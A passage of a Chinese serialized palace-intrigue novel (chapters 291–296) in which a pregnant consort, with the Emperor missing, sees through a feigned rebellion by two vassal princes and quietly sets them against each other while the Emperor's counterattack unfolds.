孩子一直都很乖,可他却不知道还能不能回来。 他答应她的事,从来都不算数。 这一次,难道也要食言吗? 可他明明那样胸有成竹地说,他把一切都安排好了。 晚余想到祁让临走前交代她的话,突然从混乱中找回一丝理智。 祁让说,朕不在家,你凡事要警醒,只要你自己宫里没事,外面天塌了也不要管,朕若有事,会让徐清盏来告诉你,一切以徐清盏的话为准。 如果是这样的话,是不是只要徐清盏不来告诉她,就证明祁让没事? 可徐清盏为什么突然就不来看她了? 万一徐清盏也出事了呢? 晚余一把抓住了胡尽忠的手腕:“徐掌印呢,他怎么不来看我?你在外面有没有见到他?你出去这么久,就没去司礼监看看吗?” 胡尽忠被她吓得一哆嗦,心虚地看了她一眼,支支吾吾道:“奴才,奴才没见到徐掌印。” “不对。”晚余逼视着他,“徐掌印负责监国,你就算没见到他,也不可能没听到关于他的一点消息,快说,他是不是也出事了?” “没有,娘娘不要多想,徐掌印在宫里,怎么可能会出事,他好着呢!” “那他为什么不来看我?” “出了这么大的事,前朝肯定乱成了一锅粥,兴许掌印分身乏术,又怕娘娘知道了着急,所以才没来吧?” “只是这样吗?”晚余不信,双眼死死盯着胡尽忠,“现在连你也要骗我了吗,你还记不记得你和我说过什么,你说从今往后,紫禁城的风雨你要陪我一起扛。” “奴才记得,奴才没有忘。”胡尽忠不禁红了眼眶,那双总是充满精明和算计的三角眼,此时已经泪眼汪汪,“奴才不是成心蒙骗娘娘,奴才是怕娘娘承受不住。” 晚余的心蓦地往下一沉,抓住他腕子的手用力收紧:“到底怎么回事,你快说,皇上都这样了,还有什么是我不能承受的。” 﨔 第291章 徐清盏勾结藩王谋反 “娘娘您别急,奴才说就是了。” 胡尽忠极力安抚着她,把自己打听来的消息说给她听。 “奴才听人说,皇上在黄河遇难的消息传出来后,中山王和长平王便打着为皇上稳定朝堂的旗号来了京城。 他们将八万大军驻守在京城外围,又率亲卫军入了皇城,说皇上是为奸人所害,他们要在稳定朝堂的同时,寻找皇上的下落,替皇上肃清奸佞,以免有人趁乱造反,祸乱大邺江山。” “中山王和长平王?” 晚余一阵心惊肉跳,脑子里有什么念头一闪而过,想抓又抓不住。 胡尽忠说:“娘娘可能不太了解,中山王和长平王,是高祖亲封的两个异姓藩王,他们跟随高祖打天下,立下了汗马功劳,尤其中山王上官谨,不仅为高祖挡过箭,还割过自己的肉给高祖充饥。 高祖登基后,给他封了王,并赐他丹书铁券和护龙令,若君主有难,可持令率军进京勤王,现在的中山王,就是上官谨的重重重孙子上官瑜。” “这些我大概知道,你先不要和我讲这些。”晚余出声打断他,“我现在就想知道徐清盏怎么了,你讲的这些,和徐清盏有什么关系?” “……”胡尽忠苦着脸,犹豫再三才委婉道,“他们都说,两位藩王之所以兵不血刃就能进入皇城,都是徐,徐掌印的功劳。” 这话说得的确委婉,晚余一时没转过弯来,过了几息,才脸色骤变。 “你什么意思,你是说徐清盏勾结藩王谋反吗?” 晚余猜到这种可能,一瞬间有种天地崩塌的感觉。 “不可能,这不可能。”她惨白着脸靠在椅背上,有气无力地喃喃自语,“徐清盏不会谋反的,他怎么可能会谋反,我不信,我不信他会这么傻……” 胡尽忠心疼地看着她,打心底里觉得她可怜。 皇上,沈大将军,和徐掌印。 可以说是她生命中最重要的三个男人,结果两个葬身黄河,一个勾结藩王谋反。 剩下她一个人揣着个大肚子,万一中山王忌惮这个遗腹子,说不定会让她们母子死于非命。 胡尽忠自认为自己这张嘴打遍紫禁城无敌手,此时此刻,竟是一句安慰的话都说不出来。 嗫嚅了很久,才艰难劝道:“娘娘别怕,徐掌印和娘娘是过命的交情,纵然反了,也会护娘娘周全的,娘娘就当作什么都不知道,看看他会怎么样。” “不可能,清盏不会反的。” 晚余在巨大的震惊之后,反倒被迫冷静下来,语气坚定道:“我相信清盏,这么大的事他不会瞒着我的,你去把他找过来,我要当面问他。 皇上说了让我一切以他的话为准,除非他亲口告诉我,否则我什么都不会相信。” “可他如果想让娘娘知道,他早就过来了,他一直不来,难道不是因为心虚吗?”胡尽忠说道。 晚余定定看他,片刻后,慢慢撑着椅子站起身来:“他不来,我自己去找他。” 胡尽忠吓一跳,连忙劝阻:“娘娘,您不能去呀,现在外面乱得很,您还在禁足呢,没有皇上的命令,侍卫也不会让您出去的。” “让不让的,先去试试再说。”晚余不由分说就往外走。 胡尽忠劝不住她,只得跟着她出了门。 紫苏几个正在外面等得着急,见晚余脸色灰败地出来,忙迎上来问她出了什么事。 晚余说自己要出去一趟,叫她们都安生待在宫里不要乱跑。 几个人一听就急了,纷纷劝她不要出去。 晚余没法和她们解释,带着胡尽忠径直往大门口去。 到了大门口,正要让胡尽忠叫门,两扇朱漆大门突然被人从外面推开,一群手持刀剑的兵士簇拥着两个穿蟒袍的男人走了进来。 一个是大红绣金蟒袍,一个是玄色绣金蟒袍。 穿大红绣金蟒袍的是多日不见的徐清盏。 穿玄色绣金蟒袍的,是一个体形彪悍,五官冷硬,气质粗犷的男人。 男人腰间佩着刀,走起路来,刀鞘一下一下撞击着铠甲,发出沉闷的声响,听着就叫人心慌。 胡尽忠一个激灵,连忙护着晚余向后退了几步,紫苏几人见状也跑过来,站在晚余左右两侧。 晚余的视线直直落在徐清盏身上,一声“清盏”到了嘴边,又临时改了口,挺直腰身喝问:“徐清盏,你要干什么,光天化日的,你为何带兵私闯内宫?” 徐清盏的目光与她隔空相交,脸上什么表情也没有,伸手对她介绍身边的男人:“贞妃娘娘,这是中山王。 皇上在开封遭奸人暗算,龙船沉入黄河,至今下落不明,王爷特持护龙令入京,暂代皇上主理朝政,稳定朝堂。 为确保后宫诸位娘娘小主的安全,王爷决定将后宫所有妃嫔全部集中到静安太妃的寿康宫妥善看护。 别的娘娘小主都已经过去了,只因承乾宫有侍卫把守,寻常人进不来,王爷只好亲自带人来接贞妃娘娘。” 晚余猜想这人不是中山王就是长平王,听了徐清盏的一番话,不免暗自心惊。 说什么把她们集中起来妥善看护,其实就是后宫太大,他们不想分散兵力到各个宫殿,就要把她们集中起来,既方便看管,还可以同时威胁到祁让和那些妃嫔的家人。 只是不知道,徐清盏此时扮演的是什么角色。 晚余假装惶恐地看了中山王一眼,随即又将视线转回到徐清盏这边,带着哭腔问道:“徐掌印,你说的是真的吗,皇上怎么会遭奸人暗害,这是什么时候的事,怎么没有人来告知本宫?” “是真的。”徐清盏说,“皇上自打重阳那日用八百里加急给娘娘送回茱萸之后,就没再往京城送信。 臣以为皇上忙于勘察灾情,便也没有在意,谁知几天后就收到了龙船沉没的消息。 臣原本是打算亲自来告知娘娘的,奈何为了迎接两位王爷抽不开身,还请娘娘见谅。” 晚余心头一跳,直觉他话里有话。 皇上送回茱萸之后,他明明还来过两回。 皇上遇难难道没有确切的日期吗,他为什么说得这样含糊? 﨔 第292章 谁家正经皇帝偷肚兜 晚余身子晃了晃,脸色愈发灰败,捂着心口喘息,一副随时都要昏厥的样子:“皇上不会有事吧,皇上若有个三长两短,本宫和孩子该如何是好?” “娘娘不要担心,本王会护娘娘周全的。”中山王呵呵笑着冲她抱拳行礼,“本王早就听闻皇上得了一位绝色倾城的美人,偏宠爱重,视若珍宝。 本王一直好奇,究竟是怎样的绝色,才能令坐拥三千佳丽的圣上如痴如狂,独宠一人。 今日得见,方知传闻不虚,娘娘姿容,当真倾国倾城,绝世独立,令三千粉黛黯然失色。” 他话说的轻浮孟浪,眼神更是充满了赤裸裸不加掩饰的侵略性。 晚余只觉一阵恶寒,双手用力交握,强行让自己保持镇定,不在他面前露怯。 “王爷过誉了,本宫当不起这样的夸奖,皇上命本宫在承乾宫禁足,无诏不得外出,皇上临行前已经给本宫安排了侍卫,安全方面王爷不必担心,本宫有孕在身,就不去寿康宫和大家挤在一处了。” “正因为娘娘有孕在身,才该格外谨慎。”中山王赤裸裸的眼神落在晚余隆起的腹部,“本王说句僭越的话,倘若皇上不幸遇难,娘娘肚子里这个,极有可能是未来的天子,本王岂能不好生看顾?” 晚余被他肆无忌惮的目光看得心里发毛,硬着头皮道:“王爷说笑了,孩子是男是女尚未可知,即便皇上遭遇不幸,也该从宗室中挑选合适人选方才稳妥。” 中山王意味深长地打量她,继而笑道:“那是后话,容后再议,眼下还请娘娘随本王去寿康宫暂住。” “非去不可吗?”晚余说,“本宫实在不想去。” 中山王颔首:“对,非去不可。” 晚余看向徐清盏:“掌印也认为本宫非去不可吗?” 徐清盏似有无奈:“王爷也是为了娘娘好,娘娘别让王爷为难。” “既然如此,请王爷容本宫换身衣裳。”晚余说道。 中山王伸手作请,笑意轻浮:“劳烦娘娘快些,别让本王等急了。” 晚余微微欠身,扶着紫苏的手往回走,又叫上胡尽忠一同回去。 中山王的目光肆无忌惮地追随着她的背影,对徐清盏笑道:“贞妃娘娘即便怀着身孕也这般美丽动人,不愧是能令徐掌印背主弃义的女子。” 没了晚余在跟前,徐清盏整个人都冷沉下来,语气也变得森寒:“王爷想与咱家合作,就管好自己的眼和嘴。” 中山王哈哈大笑:“本王不过开个玩笑,掌印怎么还恼了,好好好,本王不说就是了。” 晚余听到他的笑声,回头看了一眼,吩咐胡尽忠和其他人守在门外,自己和紫苏进了内室。 “娘娘,您真的要去寿康宫吗?”紫苏忧心忡忡,“寿康宫本来就不大,所有人都住在一起,实在不安全。” “那怎么办?”晚余无奈道,“徐清盏都来了,我不去肯定是不行的。 你看中山王那作派,我一个人留在这边,只怕也会被他骚扰,倒不如和大家住在一起,他反而不好下手。 况且到了这个时候,大家都是一根绳上的蚂蚱,谁还有心思害我?” 紫苏想到中山王看晚余的眼神,也是一阵恶寒,不觉眼圈泛红。 “以前总想着皇上待娘娘不好,盼着娘娘能早日脱离苦海,真到了这一天,皇上不在了,情况反倒更糟,万一娘娘落在中山王手里,只怕还不如皇上……” “好了,别胡思乱想了,皇上只是失踪了,未见得就不在了。”晚余打断她,自个心里也不好受。 她现在还没弄明白徐清盏究竟是怎么回事,但不管怎样,她相信徐清盏不会不管她,也不会任由她落在中山王手里。 她定了定神,把徐清盏方才和她说的话又在心里过了一遍。 徐清盏说,祁让是八百里加急给她送了茱萸之后才出的事。 为什么要强调八百里加急,不直接和她说是哪一天呢? 她想了又想,问紫苏:“那天皇上送我的茱萸呢?” “茱萸呀?”紫苏说,“奴婢瞧那茱萸带根,就种在了花盆里,但是没种活,最后还是死了。” 死了? 晚余看着她,心里有什么东西呼之欲出,但就是差了那么一点点。 “那个装茱萸的锦盒呢?”晚余又问。 “锦盒奴婢收起来了。”紫苏说,“御赐的物件,哪怕是个空盒子,也不能丢掉……” “在哪里,快拿给我看看。”晚余急切道。 “在暖阁的书柜里,奴婢这就去拿。” 紫苏急忙忙去了暖阁,不大一会儿,抱着那只长方形的锦盒走回来,交到晚余手里。 晚余接过盒子,翻过来倒过去,里里外外都看了一遍,并未发现什么异常。 所以,祁让八百里加急,真的就只是为了给她送一枝茱萸吗? 茱萸? 茱萸…… 晚余忽地顿住,眼前豁然开朗。 “紫苏,你可知中山王叫什么名字?” 紫苏愣了下:“好像叫上官瑜。” “对呀,我早该想到的。”晚余压抑着内心的激动,紧张的神情放松下来,“皇上真是……” “是什么?”紫苏问,“娘娘想到什么了?” 晚余随手将锦盒放在几案上,拉过她的手,在她手心里写字。 紫苏识字不多,但还是认出来,她写的是“诛瑜”。 紫苏瞪大眼睛,倒吸一口气,压着声问:“皇上要诛杀中山王?” 晚余点点头:“皇上先前和我提过削藩的事,说黄河石碑就是藩王们在搞鬼,但他这回只说去开封勘察黄河灾情,我没往这上面想。” “所以呢?”紫苏不禁激动起来,“皇上是不是没死,皇上是不是骗他们的?” “嘘!”晚余冲她竖起食指,“我现在也拿不准,但皇上绝对不会八百里加急就为了送一枝茱萸给我。” “这么说的话,咱们再找找,这盒子里说不准还有别的。” 紫苏激动得差点哭出来,从来没有哪一刻,这么盼着皇上好好活着。 皇上再不好,也是可以庇护她们的,如果这江山落在藩王手里,她们谁都没有好下场。 尤其是后宫的娘娘小主,恐怕都要沦为别人的玩物。 “娘娘您说,皇上这会子要是还活着,他会在哪里?” 晚余想了想:“那可说不准,反正不会一直藏在水里。” 紫苏本来都想哭了,又被她一句话逗笑:“都什么时候了,娘娘还有心情开玩笑。” “别笑。”晚余正经道,“你还是接着哭吧,这样不容易露馅。” 紫苏顿时哭笑不得:“娘娘快和皇上一样不正经了。” 晚余看了她一眼:“你怎么知道皇上不正经?” 紫苏说:“谁家正经皇帝会偷肚兜呀?” 晚余:“……” 﨔 第293章 你不懂 约摸两盏茶的功夫,晚余换好了衣裳,扶着紫苏的手重新走回到中山王面前。 “王爷久等了,本宫已经收拾妥当,可以走了。” 中山王轻佻的目光将她上下打量,别有深意道:“这衣裳换与不换,也没什么区别,娘娘别不是借机藏了什么东西在身上吧?” 晚余心下一凛,面上带了些薄怒:“怎么,王爷是想搜本宫的身吗?” 中山王呵呵一笑:“娘娘言重了,本王是来替皇上保护娘娘的,怎能随意搜娘娘的身。” “王爷知道就好。”晚余并不因他的退让而转变态度,“王爷既然是替皇上代管朝堂,就该谨记自己的本分,皇上的妃嫔,无论位分高低都是主子,王爷轻慢了主子,可是不能服众的,还平白损了自己的一世英名。” 中山王被她一通说教,不怒反笑,眼里全是男人对女人的玩味:“本王多谢娘娘教诲,娘娘看似娇弱,没想到竟是个火辣性子,难怪皇上爱不释手。” 徐清盏掩唇轻咳了两声:“王爷还有旁的事要做,就别在这里耽搁时间了。” 中山王敛了神色,对晚余伸手作请:“娘娘请!” 晚余松口气,在紫苏的搀扶下上了肩辇。 胡尽忠和玉竹玉琴随行。 中山王皱眉道:“寿康宫住不下那么多人,娘娘带一个婢女即可。” 晚余说:“本宫有孕在身,一个人服侍不过来,四个人已经是最少的配置。” “非常时期,请娘娘谅解。”中山王语气强硬,“念在娘娘有孕,最多再让娘娘带一个太监在外面听候差遣,娘娘莫让本王为难。” 到底是谁在为难谁? 晚余不想和他争辩,只得让玉竹玉琴留下看家,让胡尽忠和紫苏随她去寿康宫。 一路行来,见宫中处处都有兵士把守,气氛凝重压抑,宫人们往来走动,全都神色慌张,再不似往日从容安逸。 晚余不禁想起一句话,宁为太平犬,不为乱世人。 这还没怎么着呢,已经是人心惶惶,满目萧条,真到了那个时候,覆巢之下,安有完卵? 所谓国不可一日无君,便是如此了。 晚余将双手笼在袖中,捏紧了祁让临行前给她的龙形玉符。 她也不知道这玉符最终能不能派上用场,有徐清盏在,也许她根本用不上,但是就这样握在手里,也能让她的心安定下来。 寿康宫的门外也有带刀的兵士在严密把守,晚余下了肩辇,和中山王道别:“多谢王爷一路护送,王爷只管去忙别的,本宫会在这里安安生生等待皇上归来。 中山王意味深长道:“娘娘放心,本王应允过徐掌印,皇上回不回得来,娘娘都是安全的。” 晚余听他这么说,好像笃定了祁让再也回不来似的,不禁看了徐清盏一眼。 徐清盏说:“王爷说得对,娘娘只管放宽心,有臣在,娘娘必然无恙。” 晚余点点头,扶着紫苏的手往正殿走去。 中山王望着她的背影,问徐清盏:“她这么惦记皇上,会跟你走吗?” “这个不劳王爷费心。”徐清盏说,“王爷只须遵守承诺,事成之后让我带她远走高飞。” 中山王嘿嘿笑道:“看不出来掌印还是个痴情种,你当真连她怀着别人的孩子都能接受吗?” “有什么不能接受?”徐清盏淡淡道,“我自己不能生育,我会把那孩子视为己出的。” 中山王啧啧两声:“以掌印的本事,想要什么样的女人没有,你若愿意为本王效力,本王将来封你为九千岁,让你一人之下万人之上,这难道不比带着一个女人隐姓埋名更香吗?” 徐清盏不耐烦地看了他一眼,冷冷丢下一句“你不懂”,转身大步而去。 中山王也不恼,盯着晚余的背影舔了舔嘴唇。 这女人到底有多妙,没根的人都惦记着她。 等哪天祁让有了确切的死讯,他也要试一试到底是什么滋味。 至于徐清盏,一个有手段又不肯为他所用的阉人,自然要杀了才能放心。 寿康宫的正殿里,各宫妃嫔满满当当坐了一屋子,每个人的脸色都惶恐不安,一些胆子小的,不知道哭过多少回,眼睛都是肿的。 大约晚余来之前她们已经把话都说尽了,这会子已然无心交谈,就那样诡异地静默着。 晚余被紫苏搀扶着走进来,所有人的目光都落在她身上。 见她几个月不见,除了肚子鼓了起来,模样丝毫未变,甚至因为孕期体态丰腴,更添了些雍容妩媚的风情,众人不免心中泛酸,只是眼下非常时期,谁也没心情拈酸吃醋。 况且她又不喜欢皇上,生了孩子就要出宫,这醋吃的也没意义。 静安太妃坐在主位,晚余上前给她见礼,略福了福身,就被她抬手制止:“罢了,这个时候就不要多礼了,你的身子要紧。” 晚余道了谢,又依着规矩,给坐在太妃下首的两位贵妃见礼。 几个月不见,兰贵妃还是那样高高在上,目空一切的样子,又因着突发变故,无心梳妆,看着有几分憔悴。 贤贵妃的笑容也仍旧亲切温和,不管什么时候,都让人如沐春风。 “这个时候还讲究什么,妹妹快坐下,咱们姐妹一处说说话就好,这些时日不见,大家都惦记着你呢!” “多谢娘娘。”晚余回她一笑,又看向对面的庄妃。 庄妃抱着嘉华公主,神色拘谨地对她笑了笑:“我抱着公主,就不起来和妹妹见礼了。” “无妨,姐姐坐着就好。”晚余笑着看向嘉华公主。 嘉华公主根本不知道发生了什么事,无忧无虑地坐在庄妃腿上玩一只布老虎。 见晚余向她看过来,就举起布老虎对着晚余“嗷呜”一声。 晚余捂着心口,假装吓一跳,把她逗得咯咯笑起来。 这欢乐的笑声,在当下的情境中,越发叫人心中凄凉。 晚余看着她天真无邪的小模样,不禁摸了摸自己的肚子,视线却在扫到她们母子旁边穿着僧袍的女人时,露出了掩饰不住的惊讶。 莫非这个就是传闻中的端妃娘娘? 﨔 第294章 她和他早已没有回头路 晚余没见过端妃,但这满殿珠翠华服中,只有她一个人穿着僧袍,想来应该就是她了。 没想到中山王连这位常年闭门不出吃斋念佛的娘娘都不放过,居然把她也弄到这里来了。 端妃身量不低,但因常年吃素,身形很是单薄,一袭褪了色的灰白僧袍松松罩在身上,衬得整个人如一缕将要消散的烟。 她浑身没有任何首饰钗环,一张脸素净到近乎透明,眉色浅淡未描,目似古井无波,唇色淡得几乎与肤色融为一体。 分明是极清冷的相貌,左眼眼尾却长着一颗朱砂痣,仿佛古画上不慎滴落的一点胭脂。 此刻她正垂眸拨弄着腕间佛珠,瘦长的手指在檀木珠子上缓缓摩挲,明明是最温驯的姿态,绷直的脊背却透着一股子不肯折损的孤傲。 晚余一眼望去,只觉得她像是一尊白玉观音,如今被人强行从佛龛里请了出来,浑身上下都透着与这纷乱尘世格格不入的疏离。 “这是端妃姐姐,妹妹想必还不认识。” 贤妃见晚余惊讶,笑着为她引见,“妹妹刚进宫那会儿,端妃姐姐正在宫中待产,不怎么出门,后来……后来姐姐一心向佛,你就更见不着了。” “是没怎么见过,这回倒是有幸见着了。”晚余客气了一句,对端妃福了福身,“端妃姐姐安好。” 端妃倒也没端着架子,起身回了晚余一礼,木木地道了声“贞妃妹妹安好”,便又坐回去拨弄佛珠。 晚余也不在意,转而看向乌兰雅。 数月不见,乌兰雅似乎比先前沉静了许多,不知道是不是一个人闷坏了。 晚余觉得她也不容易,千里迢迢来和亲,实际上却是守活寡。 她的国家舍弃了她,她的心上人背叛了她,她的夫君又不待见她。 这样年轻鲜活的一个姑娘,只能在这寂寞深宫数着岁月老去。 两人彼此见了礼,当众也不好说体己话,客套几句便过去了。 其余低位的妃嫔也都起身给晚余见礼。 等大家都行过礼后,静安太妃叫人在自己身旁添了张椅子,让晚余挨着自己坐下,问她这几个月过得可好,龙胎是否安稳。 晚余一一应答,又笑着打趣:“臣妾每天睁开眼就吃,吃完了就睡,太妃只瞧臣妾这一身肉,得亏有个孩子遮遮脸,否则就是正宗的懒婆娘。” 静安太妃被她逗笑,拉着她的手拍了拍:“有身子的人,自然要长些肉的,哀家瞧着倒是比先前更好看了,就要这样雍容华贵,才是真正的天家气度,才配得上咱们皇帝的丰神俊朗。” 众人听了,心里五味杂陈。 一时对晚余羡慕嫉妒,一时又想,那样丰神俊朗的皇帝,只怕已经葬身黄河,留下她们这群寡妇,还有什么好争的? 静安太妃扫视众人:“贞妃怀着身孕还能临危不乱,你们也不要再愁眉苦脸了,你们都是天子妃嫔,不管到什么时候,都要拿出主子的气派,不能在外人面前露了怯,丢了皇家的体面。” 众人齐声应是,全都扯着唇干笑,心里实在笑不出来。 江晚余当然临危不乱。 皇上不在了,她还有徐清盏。 皇上回来了,她还是皇上的宠妃。 她进有进路,退有退路,有什么好怕的? 不像她们这些人,没有恩宠,没有子嗣,没有青梅竹马照应周全,进是绝路,退也是绝路。 晚余顺着静安太妃的视线打量众人,想了想,委婉道:“诸位姐妹切莫忧虑,皇上是真龙天子,福泽深厚,得上苍庇佑,必定能逢凶化吉,遇难成祥。” 可惜众人领会不到她的意思,只当她是在说吉祥话。 晚余也不好往深了讲,又安慰众人道:“眼下这情形,咱们住在一处虽说拥挤了些,但也不是全然没有好处,至少有什么消息大家都能第一时间知道,相互之间也能有个照应,比单独待在自己宫里两眼一抹黑要好。” 众人一想也是,人多至少可以相互照应,单独看管的话,不仅消息闭塞,还不安全,出了事都没人知晓。 寿康宫是三进的院子,有大小几十间房,静安太妃让人把所有的房间都收拾出来,把妃嫔们分别安置进去。 静安太妃说晚余有身孕,要住得舒适些,就让晚余和她一起住在她的寝殿里。 晚余本来想和乌兰雅同住,奈何静安太妃盛情不好拒绝,便住进了太妃寝殿的暖阁里。 静安太妃虽然上了年纪,却是耳聪目明,心思通透,等人都安置好了,便叫上晚余回到寝殿,屏退了下人,问晚余如此淡定,是不是知道些什么内情。 晚余不能据实相告,只得隐晦道:“臣妾知道的不多,但臣妾相信徐清盏绝对不会谋反,眼下他对中山王百依百顺,臣妾猜想应是缓兵之计。 咱们手无寸铁,能做的实在有限,太妃也不用特地做什么,只要替皇上稳住后宫妃嫔,让大家不要慌乱生事即可,其他的,就静观其变吧!” 静安太妃听她这么说,提着的心放下一半:“好孩子,有你这话,我心里就有数了,缓兵之计不就是拖延时间吗,你放心,我会替皇帝看顾好后宫,直拖到他回来为止。” 晚余笑道:“太妃英明,皇上的后宫有您看顾,是皇上的福气。” 静安太妃叹口气,拉着她的手道:“你才是皇帝的福气,可惜他留不住你。” 晚余的笑僵在脸上。 静安太妃语重心长道:“我老了,你别嫌我啰嗦,在我们老人家看来,女人一辈子就图个安稳,男人疼惜,孩子孝顺,衣食无忧,只要满足这三样,就是很好的日子。” 怕晚余不高兴,她又解释道:“我就这么一说,没有非得要你留下的意思,只是这世道,一个女人在外面真的寸步难行,你要想想清楚,有些路,一旦迈出去就不能回头了。” 晚余沉默不语,心里却想,她和祁让,早就没有回头路可走了。 﨔 第295章 那个位子谁来坐 后宫妃嫔就这么在寿康宫住了下来。 在晚余和静安太妃合力哄骗安抚下,大家虽然仍旧忧心,却也不再像起初那样惊慌失措,每天聚在一起做做针线闲话家常,时间倒也不难打发。 晚余表面上没事人一样哄着别人,自己却是最焦虑的那一个。 她虽然知道了祁让的计划,却得不到祁让的任何消息,根本不知道他和沈长安如今是什么情形。 计划赶不上变化,计划再好,也难保不出差错,出了差错,两人可能就真的回不来了。 紫苏每天出去几趟,听胡尽忠说外面的情况,再回来告诉晚余。 胡尽忠说,中山王和长平王现在已经完全把持了朝政,内阁被架空,徐清盏对他们唯命是从。 不听话的朝臣都被他们撤下来,换上了他们自己的人。 那些人本就是他们这些年在京城发展的暗线,散布在京城各个衙署做低品阶的官员,如今受到重用,纷纷涌入朝堂。 但两位藩王说到底还是代理朝政,又是异姓王,如果祁让真死了还好说,祁让生死不明,他们也不敢公然取而代之,只能一面在朝中部署自己的势力,一面派人日夜不停地在黄河沿岸打捞祁让的尸体。 为了做样子给外人看,两人对静安太妃也十分尊重,每天早上来给静安太妃请安,晚余也因此见到了长平王。 和中山王的野性粗犷相比,长平王白净又文雅,更像是一个养尊处优的贵公子,如果不知道他的野心,他完全就是一个风度翩翩的闲散王爷。 晚余在他和太妃说话的时候,一直盯着他看,看得他有点不自在,微微红了脸。 中山王有所察觉,视线在两人之间扫了个来回,心里有点说不上来的感觉。 等到两人告退,晚余追出去叫住了长平王:“王爷请留步,本宫有几句话和王爷说。” 长平王愣住,看了中山王一眼。 中山王哈哈笑着在他肩头捶了一拳:“你小子,到哪都受女人欢迎,既然贞妃娘娘有话和你说,那我先走一步。” 长平王什么也没说,留在原地,等他走远了,才礼貌地问晚余:“不知娘娘有何吩咐?” 晚余不觉红了眼眶,抚摸着自己的肚子道:“我瞧着王爷是个实在人,王爷可否告诉我一句准话,皇上是不是已经不在人世了?” 长平王没想到她直接开口问这个,拿不准她的目的,便含糊道:“皇上下落不明,小王也不知道他还在不在。” 晚余抽泣道:“我一个妇道人家,什么也不懂,倘若皇上不在了,不知王爷和中山王,谁来替皇上接管江山?” 长平王又是一愣。 晚余说:“王爷别怪我问得唐突,皇位只有一个,一山不容二虎,我是看王爷面善,心里盼着王爷来接管,也好给我们母子一个出路。” 长平王下意识转头看了一眼远去的中山王。 恰好中山王也在朝他们这边看过来。 长平王若无其事地收回视线,心却突突快跳了几下。 是啊! 皇位只有一个,他们联手起事,却从没说过事成之后皇位谁来坐。 两个人一起坐吗? 贞妃刚刚说过,一山不容二虎。 “娘娘先回吧,皇上若有消息,小王会让人来通知娘娘的。” 他敷衍了一句,转身就走。 “王爷等一下。”晚余又叫住他,小声道,“皇上临行前给本宫留了一封信,信中提到了王爷。” 长平王蓦地顿住脚步,面露惊诧之色:“皇上提到本王什么?” 晚余四下看了看:“这里不是说话的地方,王爷明日单独过来,本宫拿给你看。” 长平王将信将疑,盯着她看了几眼,见她双眼泛红,泪盈于睫,不似作假,便点头道:“本王知道了。” “王爷慢走。”晚余福身相送。 长平王出了寿康宫,在夹道上碰到了中山王。 “贞妃和你说了什么?”中山王开门见山地问道。 长平王摊摊手:“没什么,就是向我打听皇上的情况。” 中山王不信,半是警告半是试探道:“你可不要中了美人计。” 长平王轻挑眉梢,笑容不屑:“一个孕妇而已,你当本王没见过女人吗?” 中山王说:“我是怕你听信女人的话,误了咱们的大事。” “放心吧,不会的,本王耳根子没那么软。”长平王说,“你不是还要去司礼监和徐清盏议事吗,快去吧,我要去城外大营一趟。” 中山王若有所思地看了他一眼,没再说什么,径直去了司礼监见徐清盏。 徐清盏正在和几个干儿子说话,见他过来,屏退了众人,起身相迎:“王爷来得正好,咱家正要去找王爷。” “掌印找本王何事?”中山王大咧咧地在主位落了座,将整个后背重重靠在椅背上,因着心里有事,脸色很不好看。 徐清盏说:“有件事,咱家一直想问问王爷,王爷和长平王一同起事,有没有想过事成之后,那个位置由谁来坐?” 中山王眉心一跳,立时坐直了身子:“你什么意思?” 徐清盏奇怪看他:“王爷怎么这么大的反应,难道这事你们从来没商量过吗,一山不容二虎,王爷不会打算一把椅子上挤两个人吧?” 中山王怔怔一刻,靠回到椅背上:“你觉得我们两个谁更合适?” 徐清盏笑起来,那张妖孽般的美人面带着说不出的邪气:“王爷要听实话吗?” “废话,难道本王还要听假话?”中山王已经有些按捺不住。 徐清盏说:“论带兵打仗,自然是王爷更胜一筹,但若论起收卖人心,玩弄权术,王爷却不及长平王。” 中山王脸上立时浮现怒意。 徐清盏道:“王爷莫恼,这话可不是咱家说的,是东厂的番子从各处打听来的,这几日,长平王已经开始在王爷不知道的情况下笼络人心了。” “你胡说。”中山王腾地一下站起身来,一把抓住了他的衣领,“你他娘的少在这里挑拨离间。” 徐清盏被他抓住衣领,面不改色道:“王爷觉得我有必要吗,我还指望王爷成全我和贞妃呢!” 中山王迟疑着,松开他的衣领,面色变幻一刻,转身大步而去。 徐清盏望着他的背影勾了勾唇,抬手轻掸被他抓皱的衣领。 少顷,来禄走进来,手里捏着两张字条:“干爹,刚回来的飞鸽传书,皇上和沈大将军已经分别攻下中山王和长平王的封地,并生擒了中山王府和长平王府的所有家眷,如今正在率大军返回京城。” 﨔 第296章 娘娘不像是轻易认命的人 次日一早,中山王和长平王又来给静安太妃请安。 两位藩王到底是外男,静安太妃知道他们每天都来,就免了后宫妃嫔的请安,让她们避着些,没事不要到前面来。 但晚余是和静安太妃同住的,双方不可避免会遇上。 两人进来的时候,晚余正陪着静安太妃说话,看到他们进门,晚余就起身告退,说自己要去静安太妃的小佛堂给菩萨上香祈福,求菩萨保佑皇上平安归来。 静安太妃笑着允了她,吩咐紫苏小心伺候。 晚余在紫苏的搀扶下往外走,走到中山王和长平王跟前,对两人福了福身,有意无意地看了长平王一眼。 长平王对她微微颔首。 中山王面上不动声色,手指却不自觉攥紧。 晚余到了佛堂,给菩萨上了香,跪在蒲团上双手合十闭目祈祷。 一炷香快要燃尽时,身后响起脚步声。 晚余回过头,就看到长平王一袭浅杏色蟒袍立于身后,玉冠束发,面容温润,笑意清浅,怎么看都是闲散公子的气度。 “王爷来了,叫本宫好等。”晚余站起身,与他相对而立。 “娘娘久等了,本王是先离开再折返回来的。”长平王的目光扫过佛堂的每一处角落,最后落在她身上,“娘娘如此虔诚,可见对皇上情深意重,并非传言中的那样。” “传言中是怎样?”晚余抿了抿唇,“王爷这样的人物,也喜欢听小道消息吗?” 长平王笑了笑:“也不算小道消息吧,是本王这些天在宫里听来的,说娘娘生下孩子就会出宫,既如此,又何必在意皇上回不回得来?” “那还是不一样的。”晚余说,“皇上若回不来,本宫和孩子就会有危险,倘若王爷接管朝堂还好,换作中山王,他断不会让本宫生下这遗腹子。” 长平王定定看她,不动声色道:“本王与娘娘素未谋面,怎么娘娘如此笃定本王会对你网开一面?” 晚余迎着他的目光,神情坦然:“是皇上告诉本宫的。” “哦?”长平王眉峰轻扬,“皇上都和娘娘说了什么?” 晚余说:“皇上到了开封之后,曾派八百里加急给本宫送回一枝茱萸,并附带一封密函,说他发现了一些异常,预感到自己可能会有危险,假如他遭遇不测,几位藩王之中,唯有长平王可以托付。” 长平王心头一跳,再也无法保持淡定:“皇上真这么说的,娘娘怕不是信口开河,想挑拨本王和中山王的关系。” 